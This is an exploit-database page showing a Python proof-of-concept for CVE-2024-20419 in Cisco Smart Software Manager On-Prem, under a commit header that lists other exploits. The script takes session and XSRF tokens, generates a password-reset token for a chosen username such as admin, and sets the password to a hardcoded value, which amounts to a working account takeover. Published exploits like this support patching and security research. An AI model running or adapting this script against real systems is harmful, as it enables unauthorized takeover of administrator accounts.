9d3e200bec
12 changes to exploits/shellcodes/ghdb Cosy+ firmware 21.2s7 - Command Injection K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover AquilaCMS 1.409.20 - Remote Command Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) Feng Office 3.11.1.2 - SQL Injection flatCore 1.5.5 - Arbitrary File Upload PandoraFMS 7.0NG.772 - SQL Injection Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
118 lines
No EOL
3.8 KiB
Python
Executable file
118 lines
No EOL
3.8 KiB
Python
Executable file
# Exploit Title: Cisco SSM On-Prem; Account Takeover (CVE-2024-20419)
|
|
# Google Dork: N/A
|
|
# Date: 21/07/2024
|
|
# Exploit Author: Mohammed Adel
|
|
# Vendor Homepage: https://www.cisco.com
|
|
# Software Link:
|
|
https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/smart-software-manager-satellite/datasheet-c78-734539.html
|
|
# Version: 8-202206 and earlier
|
|
# Tested on: Kali Linux
|
|
# CVE : CVE-2024-20419
|
|
# Security Advisory:
|
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy
|
|
# Technical Analysis: https://www.0xpolar.com/blog/CVE-2024-20419
|
|
|
|
|
|
import requests, sys
|
|
from urllib.parse import unquote
|
|
|
|
# Suppress SSL warnings
|
|
requests.packages.urllib3.disable_warnings()
|
|
|
|
Domain = sys.argv[1] # Domain, https://0xpolar.com:8443
|
|
Username = sys.argv[2] # Username, by default its [admin]
|
|
password = "Polar@123456780"
|
|
|
|
print("[*] Cisco Smart Software Manager On-Prem")
|
|
print("[*] Account Takeover Exploit")
|
|
print("[*] Target: "+Domain)
|
|
print("[*] Username: "+Username)
|
|
print("\n")
|
|
|
|
print("[*] Getting Necessary Tokens..")
|
|
get_url = Domain+"/backend/settings/oauth_adfs?hostname=polar"
|
|
|
|
response = requests.get(get_url, verify=False)
|
|
|
|
def get_cookie_value(headers, cookie_name):
|
|
cookies = headers.get('Set-Cookie', '').split(',')
|
|
for cookie in cookies:
|
|
if cookie_name in cookie:
|
|
parts = cookie.split(';')
|
|
for part in parts:
|
|
if cookie_name in part:
|
|
return part.split('=')[1].strip()
|
|
return None
|
|
|
|
set_cookie_headers = response.headers.get('Set-Cookie', '')
|
|
|
|
xsrf_token = get_cookie_value(response.headers, 'XSRF-TOKEN')
|
|
lic_engine_session = get_cookie_value(response.headers, '_lic_engine_session')
|
|
|
|
if xsrf_token:
|
|
xsrf_token = unquote(xsrf_token)
|
|
|
|
if not lic_engine_session or not xsrf_token:
|
|
print("Required cookies not found in the response.")
|
|
else:
|
|
print("[+] lic_engine_session: "+lic_engine_session)
|
|
print("[+] xsrf_token: "+xsrf_token)
|
|
print("\n[*] Generating Auth Token")
|
|
post_url = Domain+"/backend/reset_password/generate_code"
|
|
|
|
headers = {
|
|
'Accept': 'application/json',
|
|
'Content-Type': 'application/json',
|
|
'X-Xsrf-Token': xsrf_token,
|
|
'Sec-Ch-Ua': '',
|
|
'Sec-Ch-Ua-Mobile': '?0',
|
|
}
|
|
cookies = {
|
|
'_lic_engine_session': lic_engine_session,
|
|
'XSRF-TOKEN': xsrf_token,
|
|
}
|
|
|
|
payload = {
|
|
'uid': Username
|
|
}
|
|
|
|
post_response = requests.post(post_url, headers=headers, cookies=cookies, json=payload, verify=False)
|
|
|
|
post_response_json = post_response.json()
|
|
auth_token = post_response_json.get('auth_token')
|
|
|
|
if not auth_token:
|
|
print("auth_token not found in the response.")
|
|
else:
|
|
print("[+] Auth Token: "+auth_token)
|
|
print("\n[*] Setting Up a New Password")
|
|
final_post_url = Domain+"/backend/reset_password"
|
|
|
|
final_headers = {
|
|
'Accept': 'application/json',
|
|
'Content-Type': 'application/json',
|
|
'X-Xsrf-Token': xsrf_token,
|
|
}
|
|
final_cookies = {
|
|
'_lic_engine_session': lic_engine_session,
|
|
'XSRF-TOKEN': xsrf_token,
|
|
}
|
|
|
|
final_payload = {
|
|
'uid': Username,
|
|
'auth_token': auth_token,
|
|
'password': password,
|
|
'password_confirmation': password,
|
|
'common_name': ''
|
|
}
|
|
|
|
final_post_response = requests.post(final_post_url, headers=final_headers, cookies=final_cookies, json=final_payload, verify=False)
|
|
response_text = final_post_response.text
|
|
|
|
if "OK" in response_text:
|
|
print("[+] Password Successfully Changed!")
|
|
print("[+] Username: "+Username)
|
|
print("[+] New Password: "+password)
|
|
else:
|
|
print("[!] Something Went Wrong")
|
|
print(response_text) |